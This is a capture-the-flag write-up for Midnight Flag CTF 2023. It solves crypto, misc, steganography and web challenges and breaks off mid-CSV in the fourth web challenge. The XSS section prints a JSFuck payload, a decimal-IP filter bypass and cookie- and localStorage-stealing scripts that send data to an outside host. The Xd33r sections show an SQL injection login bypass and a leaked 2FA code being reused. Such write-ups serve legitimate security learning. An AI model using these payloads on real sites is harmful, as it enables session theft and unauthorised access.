Version
By
Version
Comment
noraj
1.0
Creation
CTF
Name : Midnight Flag CTF 2023
Website : ctf.midnightflag.fr
Type : Online
Format : Jeopardy
CTF Time : N/A
Challenges
Cryptography - M4giC
Misc - Palindrome
Misc - DNStonk
Steganography - Diff'Aire
Web - 010110000101001101010011
Web - Xd33r 1/5
Web - Xd33r 2/5
Web - Xd33r 3/5
Web - Xd33r 4/5
Install tools used in this WU on BlackArch Linux:
1 $ sudo pacman -S xortool p7zip ruby wireshark python-cryptography ctf-party curl jwt-tool burpsuite
Cryptography - M4giC
12 bytes is military grade isn't it ?
File: https://cdn.midnightflag.fr/m4g1c.zip
Author: W00dy
Discovery
The archive m4g1c.zip
contain a python script and an encoded image.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ➜ 7z l m4g1c.zip 7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28 p7zip Version 17.04 (locale=C,Utf16=off,HugeFiles=on,64 bits,4 CPUs x64) Scanning the drive for archives: 1 file, 47200 bytes (47 KiB) Listing archive: m4g1c.zip -- Path = m4g1c.zip Type = zip Physical Size = 47200 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2023-04-11 20:14:15 D.... 0 0 dist 2023-04-11 20:14:15 ..... 56225 46397 dist/flag.jpg.lock 2023-04-11 20:14:15 ..... 588 321 dist/encrypt.py ------------------- ----- ------------ ------------ ------------------------ 2023-04-11 20:14:15 56813 46718 2 files, 1 folders
The script is the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import sysimport osdef get_key (length ): return os.urandom(length) def encrypt (filename, key ): filename_lock = filename + ".lock" data = open (filename, "rb" ).read() os.remove(filename) locked = open (filename_lock, "wb" ) for idx, i in enumerate (data): locked.write((i ^ key[idx % len (key)]).to_bytes(1 , "big" )) if __name__ == '__main__' : if len (sys.argv) != 2 : print (f"Usage: {sys.argv[0 ]} <file to cipher>" ) exit(0 ) else : key = get_key(12 ) encrypt(sys.argv[1 ], key) print ("File successfuly encrypted." )
The script XOR the image with a random key of length 12.
The attack
But since the image is a .jpeg
we can assume it's a JPEG image and we can guess it's using the classic JFIF magic byte , which is also 12 bytes long.
So we can xor the image with a magic bytes to the key back.
1 2 ➜ xortool-xor -f dist/flag.jpg.lock -h FFD8FFE000104A4649460001 | xxd -l 12 00000000: fe61 cdc7 b880 fcd0 c13d f3e7 .a.......=..
Then we can use the key to get teh original image:
1 ➜ xortool-xor -f dist/flag.jpg.lock -h fe61cdc7b880fcd0c13df3e7 -> flag.jpeg
The flag is: MCTF{L3s_By73s_M4g1qU3ssssss_763afe}
.
Misc - Palindrome
Hi friend! Here is a list of 25 words, for each of them you will have to tell me if it is a palindrome or not. Can you do it in less than 5 seconds?
Author : Nemo
nc palindrome.misc.midnightflag.fr 17002
Discovery
Here is what the netcat service looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ nc palindrome.misc.midnightflag.fr 17002 Salut l'ami ! Voici une liste de 25 mots, pour chacun d'entre eux tu devras me dire si c'est un palindrome ou pas. Tu peux me faire ça en moins de 5 secondes stp ? Exemple : Voici le mot : kayak >> oui Voici le mot : test >> non ============================================ Voici le mot : Feuil >> non Voici le mot : Blanc >> non Voici le mot : Noir >> non Voici le mot : Vinyle >> non Voici le mot : Stats >> non Mauvaise réponse! bye..
A palindrome is just a word that can be read indifferently from left to right or from right to left while keeping the same meaning.
25 fives checks in 5 secs is too much to do manually so we have to script it.
Scripting
Here is a pretty ruby script to solve this with elegance.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 require 'socket' hostname = 'palindrome.misc.midnightflag.fr' port = 17002 s = TCPSocket .open(hostname, port) output = "" exit_test = nil line_counter = 1 while not exit_test line = s.gets.chomp puts line if /Voici le mot : .+/.match?(line) && line_counter > 11 # ignore headers word = / Voici le mot : (.+)/.match(line).captures.first answer = word.casecmp(word.reverse).zero? ? 'oui' : 'non' puts answer s.puts answer s.flush elsif /MCTF {.+}/.match?(line) exit_test = true end if exit_test break end line_counter += 1 end s.close
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 ➜ ruby palindrome.rb Salut l'ami ! Voici une liste de 25 mots, pour chacun d'entre eux tu devras me dire si c'est un palindrome ou pas. Tu peux me faire ça en moins de 5 secondes stp ? Exemple : Voici le mot : kayak >> oui Voici le mot : test >> non ============================================ Voici le mot : Sas oui >> Voici le mot : Reifier oui >> Voici le mot : Naan oui >> Voici le mot : Pop oui >> Voici le mot : Qazaq oui >> Voici le mot : Sanas oui >> Voici le mot : Noir non >> Voici le mot : Sanas oui >> Voici le mot : Senes oui >> Voici le mot : Poids non >> Voici le mot : Sable non >> Voici le mot : Sabas oui >> Voici le mot : Doigt non >> Voici le mot : Pop oui >> Voici le mot : Stats oui >> Voici le mot : Doigt non >> Voici le mot : Ete oui >> Voici le mot : Reer oui >> Voici le mot : Naan oui >> Voici le mot : Sassas oui >> Voici le mot : Moche non >> Voici le mot : Non oui >> Voici le mot : Reer oui >> Voici le mot : Test non >> Voici le mot : Senes oui >> Bien joué baudelaire : MCTF{3ng4ge_l3_j3ux_qu3_je_1e_g4gn3}
Misc - DNStonk
Find the sensistive data captured in this pcap.
File: https://cdn.midnightflag.fr/DNStonk.zip
Author: Stinky
We can extract all DNS queries with Wireshark CLI:
1 2 3 4 5 6 7 8 9 10 11 12 ➜ tshark -r heheboiiii.zip.pcapng -T fields -e dns.qry.name -Y "dns.flags.response eq 0" collegehumor.com nodejs.org pageadgooglesyndication.com amazon.com.au medium.com lhgoogleusercontent.com target.com refinerycom discord.me google.pl ...
By quickly browsing we can see 2 lines longer than usual that looks suspicious:
1 2 3 $ tshark -r heheboiiii.zip.pcapng -T fields -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/null | awk 'length >= 40' zddKGBJzBhqAhqsLaU3raQQJ2NXN6t2sMqaI5-EbXBU=.fernet.crypto.python gAAAAABkOYHFTseEbHr5WLoOhNGBAVy9Cp4fSRBFi5rgtv.GKQQqBByAqDoI2F19awweUdAlvdHUh8eYojpAQC.-tZPc6xyr_Vkm0ZU0uahaXHTxfdULzBngI=.fernet.crypto.python
Let's use python-cryptography to decrypt fernet .
The first query must be the 32 bytes key and the 2nd longer query must be the token.
1 2 3 4 5 6 7 8 9 ➜ python Python 3.10.10 (main, Mar 5 2023, 22:26:53) [GCC 12.2.1 20230201] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from cryptography.fernet import Fernet >>> key = 'zddKGBJzBhqAhqsLaU3raQQJ2NXN6t2sMqaI5-EbXBU=' >>> f = Fernet(key) >>> token = 'gAAAAABkOYHFTseEbHr5WLoOhNGBAVy9Cp4fSRBFi5rgtv.GKQQqBByAqDoI2F19awweUdAlvdHUh8eYojpAQC.-tZPc6xyr_Vkm0ZU0uahaXHTxfdULzBngI=' >>> f.decrypt(token) b'MCTF{n37w0rk_Is_S0_c00l}'
Steganography - Diff'Aire
In the gallery of the attacker, there are some photos but there is an interesting detail, the suspicious photo is present twice, surely to hide some information or payload.
Try to find out what it hides.
Author: Nemo
https://cdn.midnightflag.fr/DiffAir.zip
Let's diff the 2 image, print only the bytes that are different in hex. Then convert it back to text and we can see something looking like a base64 string.
1 2 3 4 $ cmp -l airPort.jpg Airport.jpg | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}' | cut -d ' ' -f 2 | tr -d "\n" | ctf-party - from_hex TUNURnttMXJyMHJfMW1hZzNfYzBtcDRyNGk1MG4hfQ==Ù.{Í4....$Ü.Äi5.é...í .^*Õ0<<¡.e.t§.P. ?©÷¥v]ÿ.ùdê`B..ò£è..Á]
Easy flag:
1 2 $ printf 'TUNURnttMXJyMHJfMW1hZzNfYzBtcDRyNGk1MG4hfQ==' | base64 -d MCTF{m1rr0r_1mag3_c0mp4r4i50n!}
Web - 010110000101001101010011
Some small XSS.. Nothing easier right ?
Admin link: http://010110000101001101010011.web.midnightflag.fr:8080
Author: W00dy
http://010110000101001101010011.web.midnightflag.fr:8000/?source
Intro
Just for the fun, the title is XSS
in binary:
1 2 $ ctf-party '010110000101001101010011' from_bin XSS
Source code analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_GET ["source" ])) { echo highlight_file (__file__); die (); } if (isset ($_GET ["src" ])) { if (preg_match ("/[a-zA-Z\\.\\\\]/" , $_GET ["src" ])) { die ("Nope." ); } else { echo "<script src=\"" .$_GET ['src' ]. "\" > </script>" ; } } ?>
We can (nearly) freely inject a payload into a script attribute but all letters .
and \
.
So we can't write a domain or an IP address there because the dot is forbidden and we can't encode the payload in octal because the backslash is forbidden.
But we can injected something like this:
">
to close the attribute and the tag so we can inject in the script directly
replace JSFUCK
with a JSFuck script (JS using only ()+[]!
)
alert(1)
1 ">[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
But it doesn't work with an empty sr or invalid one.
We can write a src with an IPv6 address containing lny numbers //[::]:8000
but that will be unpractical to get one.
But we could bypass this using decimal IP location, for example 10.10.10.10
can be written as 168430090
(I won't leak my IPv4 address).
Payload: //168430090:8000/1337
Full URL: http://010110000101001101010011.web.midnightflag.fr:8000/?src=//168430090:8000/1337
Then we can put whatever we want in the file named 1337
and serve it with a web server on an internet facing machine.
1337
cookie grabber exfiltrator:
1 2 3 4 5 fetch ('https://en62rumvrks56.x.pipedream.net' , {method : 'POST' ,mode : 'no-cors' ,body : document .cookie });
This work when I test it but it doesn't work when I submit the URL.
Note: the challenge was bugged when I tried this payload but by the time it was fixed I changed to a XHR.
1 2 3 4 5 6 var xhr=new XMLHttpRequest ();var data = JSON .stringify (localStorage );xhr.open ("GET" , "http://10.10.10.10 :8000/?ls=" + data); xhr.send (); xhr.open ("GET" , "http://10.10.10.10 :8000/?c=" + document .cookie ); xhr.send ();
So then we receive the flag.
1 2 3 4 ➜ python -m http.server --bind 10.10.10.10 --directory Public 8000 Serving HTTP on 10.10.10.10 port 8000 (http://10.10.10.10 :8000/) ... 34.141.104.105 - - [16/Apr/2023 01:42:57] "GET /1337 HTTP/1.1" 200 - 34.141.104.105 - - [16/Apr/2023 01:42:57] "GET /?c=flag=MCTF{BInAry_xsS_bypA55ss} HTTP/1.1" 200 -
Note: potentially binary IP and HTML escape were possible as well.
Web - Xd33r 1/5
Mission: Gain internal access to a known APT via their custom C2 to inspect their internal discussions.
Background: A group of advanced persistent attackers (APTs) is very virulent at the moment and it is legitimate to wonder if they are involved in the plane crash. The group is known for conducting attacks on sensitive information systems. They have a track record of compromising airports and rail networks.
Expected outcome: The expected outcome of the mission is to obtain solid evidence of the group's involvement or non-involvement by compromising internal discussions. This access will also allow for further investigation of other ongoing investigations related to the group
Objective One: We have identified an endpoint corresponding to their C2, find the operators' login interface.
Author: Atlas
http://xd33r.web.midnightflag.fr:31080/ | http://xd33r.web.midnightflag.fr:31081/
There is an HTML comment with a hint:
1 2 3 4 5 6 7 8 9 10 ➜ curl http://xd33r.web.midnightflag.fr:31080/ -s | grep '<!--' <!-- Meta tag Keywords --> <link rel="stylesheet" href="/assets/teaser/css/style.css" type="text/css" media="all" /> <!-- Style-CSS --> <link rel="stylesheet" href="/assets/teaser/css/font-awesome.css"><!--fontawesome-css--> <script src="/assets/teaser/js/jquery.min.js"></script><!--common-js--> <link rel="stylesheet" href="/assets/teaser/css/jquery.countdown.css"/><!--jquery-css--> <!--scripts--> <script src="/assets/teaser/js/jquery.countdown.js"></script><!--countdowntimer-js--> <script src="/assets/teaser/js/script.js"></script><!--countdowntimer-js--> <!-- TODO: Add a script to detect if the user is logged, if he is, redirect him to: /operator/home -->
So the home is: http://xd33r.web.midnightflag.fr:31080/operator/login
Vous avez découvert la page de connexion ! Votre récompense: MCTF{h1dd3n_4cc3ss!!}
Web - Xd33r 2/5
You've discovered the login interface, we need more. If only you could log in, we could get some valuable information.
Author: Atlas
http://xd33r.web.midnightflag.fr:31080/
We can see the following script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <script > api_url = "http://xd33r.web.midnightflag.fr:31081/api" ; </script > <script src ="/assets/js/general.js" > </script > <script > jQuery (document ).ready (function ($ ) { redirect_auth (); hydrate_flag (); }); function hydrate_flag ( ) { $.ajax ({ url : "http://xd33r.web.midnightflag.fr:31081/api/heartbeat" , success : function (response ) { if (response.flag ) { $('#flag' ).html (response.flag .toString ().toHtmlEntities ()) } }, error : function (response ) { toast ("error" , "API is down!" ); } }); } function login (e ) { e.preventDefault (); let data = { email : $('#login' ).val (), password : $('#password' ).val () } $.ajax ({ url : "http://xd33r.web.midnightflag.fr:31081/api/auth/login" , type : "POST" , data : JSON .stringify (data), contentType : "application/json" , success : function (response ) { if (response.token ) { localStorage .setItem ("token" , response.token ); document .location .href = "/operator/2fa" ; } }, error : function (response ) { toast ("error" , response.responseJSON .message ); } }); } </script >
We can see a successful login redirects to /operator/2fa
, so let's go there directly.
http://xd33r.web.midnightflag.fr:31080/operator/2fa
Vous avez réussi à vous connecter ! Votre récompense vous attend dans le token JWT !
We can see the JWT should be stored in local storage.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <script > jQuery (document ).ready (function ($ ) { $("#user_name" ).text (user.nickname .toString ().toHtmlEntities ()); $("#user_image" ).attr ('src' , "/assets/images/avatar/" +user.image .toString ().toHtmlEntities ()); }); function tryCode ( ) { $.ajax ({ url : api_url+"/auth/otp/verify" , type : "POST" , data : JSON .stringify ({code : $('#code' ).val ()}), contentType : "application/json" , headers : { "Authorization" : "Bearer " + localStorage .getItem ('token' ) }, success : function (response ) { localStorage .setItem ('token' , response.token ); document .location .href = "/operator/home" ; }, error : function (response ) { toast ("error" , "Wrong code" ); } }); } </script >
But isn't not since we didn't log in properly.
Let see the other script http://xd33r.web.midnightflag.fr:31080/assets/js/general.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... function get_user ( ) { token = localStorage .getItem ('token' ) if (token != null ) { let xhr = new XMLHttpRequest (); xhr.open ("GET" , api_url+"/me" , false ); xhr.setRequestHeader ("Content-Type" , "application/json" ); xhr.setRequestHeader ("Authorization" , "Bearer " + token); xhr.send (); if (xhr.status === 200 ) { let response = JSON .parse (xhr.responseText ) user = response.data .user user.otp = response.data .otp } else { localStorage .removeItem ("token" ); } } } ...
But I went to far, I just need to perform an SQLi on the login form.
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/auth/login HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Content-Length : 46Accept : */*User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Content-Type : application/jsonOrigin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close{ "email" : "admin' or 1=1-- -" , "password" : "sdf" }
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 200 OKcontent-length : 290connection : closeaccess-control-allow-credentials : truecontent-type : application/jsonvary : Origin, Access-Control-Request-Method, Access-Control-Request-Headersaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080date : Sun, 16 Apr 2023 01:01:02 GMT{ "status" : "success" , "token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ jwt-tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] typ = "JWT" [+] alg = "HS256" Token payload values: [+] sub = "823df4e6-81d5-43d0-9fb6-dce40305be6f" [+] logged = False [+] flag = "MCTF{g0t_1nj3ct3d&b1p4$3d~!}" [+] iat = 1681606862 ==> TIMESTAMP = 2023-04-16 03:01:02 (UTC) [+] exp = 1681610462 ==> TIMESTAMP = 2023-04-16 04:01:02 (UTC) Seen timestamps: [*] iat was seen [*] exp is later than iat by: 0 days, 1 hours, 0 mins ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ----------------------
Web - Xd33r 3/5
A code is expected? It seems to be a 2FA, considering the security level of the site, you should surely be able to bypass it easily !
Author: Atlas
http://xd33r.web.midnightflag.fr:31080/
Requesting a wrong OTP code fails but returns the right code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /api/auth/otp/verify HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Content-Length : 17Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaEUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Content-Type : application/jsonOrigin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close{"code ":"000000" }
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 409 Conflictcontent-length : 38connection : closeaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080vary : Origin, Access-Control-Request-Method, Access-Control-Request-Headerscontent-type : application/jsonaccess-control-allow-credentials : truedate : Sun, 16 Apr 2023 01:11:54 GMT{ "message" : "903034" , "status" : "failed" }
So then we just have to request to right code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /api/auth/otp/verify HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Content-Length : 17Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaEUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Content-Type : application/jsonOrigin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close{"code ":"903034" }
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 200 OKcontent-length : 300connection : closeaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080content-type : application/jsonvary : Origin, Access-Control-Request-Method, Access-Control-Request-Headersaccess-control-allow-credentials : truedate : Sun, 16 Apr 2023 01:15:04 GMT{ "status" : "success" , "token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3NzA0LCJleHAiOjE2ODE2MTEzMDR9.meItLzukFoNK8X1ukTp73yfBZ3z3o1Ink25FHP1O_jE" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ jwt-tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3NzA0LCJleHAiOjE2ODE2MTEzMDR9.meItLzukFoNK8X1ukTp73yfBZ3z3o1Ink25FHP1O_jE Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] typ = "JWT" [+] alg = "HS256" Token payload values: [+] sub = "823df4e6-81d5-43d0-9fb6-dce40305be6f" [+] logged = True [+] flag = "MCTF{2FA_c0de_sh0uld_r3m41n_s3cr3t?!}" [+] iat = 1681607704 ==> TIMESTAMP = 2023-04-16 03:15:04 (UTC) [+] exp = 1681611304 ==> TIMESTAMP = 2023-04-16 04:15:04 (UTC) Seen timestamps: [*] iat was seen [*] exp is later than iat by: 0 days, 1 hours, 0 mins ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ----------------------
Web - Xd33r 4/5
It looks like an ESNA compromise is proven (ID: d2f2b880-1bb8-4cf3-a46e-c23e34fbdede), get the decryption tool and get your reward by decrypting the flag.png file associated with Morpheus's computer.
Author: Atlas
http://xd33r.web.midnightflag.fr:31080/
There is the following script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <script > var csv="" ; function download_csv ( ) { let a = document .createElement ("a" ); a.href = "data:text/txt," + csv; a.target = '_blank' ; a.download = "beacons.csv" ; a.click (); } function get_beacons ( ) { $.ajax ({ url : api_url+"/beacons" , headers : { "Authorization" : "Bearer " + localStorage .getItem ('token' ) }, success : function (response ) { let beacons_table = "" let i = 0 csv = response.data .csv ; response.data .beacons .sort ((a, b ) => new Date (b.date ) - new Date (a.date )); for (let beacon of response.data .beacons ) { let row_class = "clickable-row" if (i==0 ) row_class="bt-3 border-danger " +row_class state = get_status (beacon.state ) beacons_table += `<tr class="` +row_class+`" data-href="/operator/beacon/` +beacon.id +`"> <td scope="row">` +beacon.name .toString ().toHtmlEntities ()+`</td> <td>` +beacon.computers .toString ().toHtmlEntities ()+`</td> <td>` +beacon.files .toString ().toHtmlEntities ()+`</td> <td><span href="#" class="badge badge-` +state[1 ]+`">` +state[0 ]+`</span></td> <td>` +beacon.date +`</td> </tr> ` ; i++; } $("#beacons" ).html (beacons_table); $(".clickable-row" ).click (function ( ) { window .location = $(this ).data ("href" ); }); } }); } </script >
We can download the CSV:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 "ID","Name","Computers","Files","Status","Date" "644f03ab-af2c-4444-a738-6e6e4552c231","MCDollars","2","28","4","2023-04-05 10:34:45 UTC" "4fd23a1c-c2fd-47a4-8a9e-863bbf15b01e","Groogle","9","73","4","2023-03-17 22:44:51 UTC" "579ecc8f-cdc1-4ee4-ae00-471fb1bbfcdc","FeestLocker","2","10","4","2023-03-14 01:14:41 UTC" "2a1d7144-9269-420c-9926-fc274baaaf71","MagicSis","3","34","2","2023-03-25 00:13:44 UTC" "07f015dc-48ff-4ac3-a34b-888e884a7d95","RougeBytes","1","8","2","2023-03-13 04:50:22 UTC" "ca478e4d-342d-4371-b1b1-b7a8a3612ed4","Octermignon","6","58","4","2023-04-04 20:53:42 UTC" "15cd3b3b-db97-40ac-85e2-26a84d3f0ae3","Pwnhub","8","48","0","2023-03-31 15:46:51 UTC" "80a5b2dc-4e18-4694-afd6-555c5c02f735","Amazowned","8","83","2","2023-03-13 01:03:50 UTC" "7cabc31b-3d3c-4dcc-87e0-96bd8e6e79f0","DalleBreakers","8","70","4","2023-03-30 09:24:49 UTC" "10e8d816-19b5-4e6c-af5d-dbd3de6561b0","Micro-softdrink","7","78","4","2023-04-09 19:04:58 UTC" "80ef684d-4e13-41d5-83ce-1e4e563a9ba5","Poune-and-pistoune","0","0","0","2023-04-14 04:12:20 UTC" "07f5c67b-3ada-4cc4-a411-6efe4297d3a9","Cookoune","9","95","4","2023-03-18 22:01:10 UTC" "fd91afc0-5fb6-470e-8cdb-12868954dc3e","HeyTunes","10","75","4","2023-04-01 18:24:08 UTC" "1baed70e-e0b8-4f56-9214-86491928b52b","Medufiac","3","32","4","2023-03-31 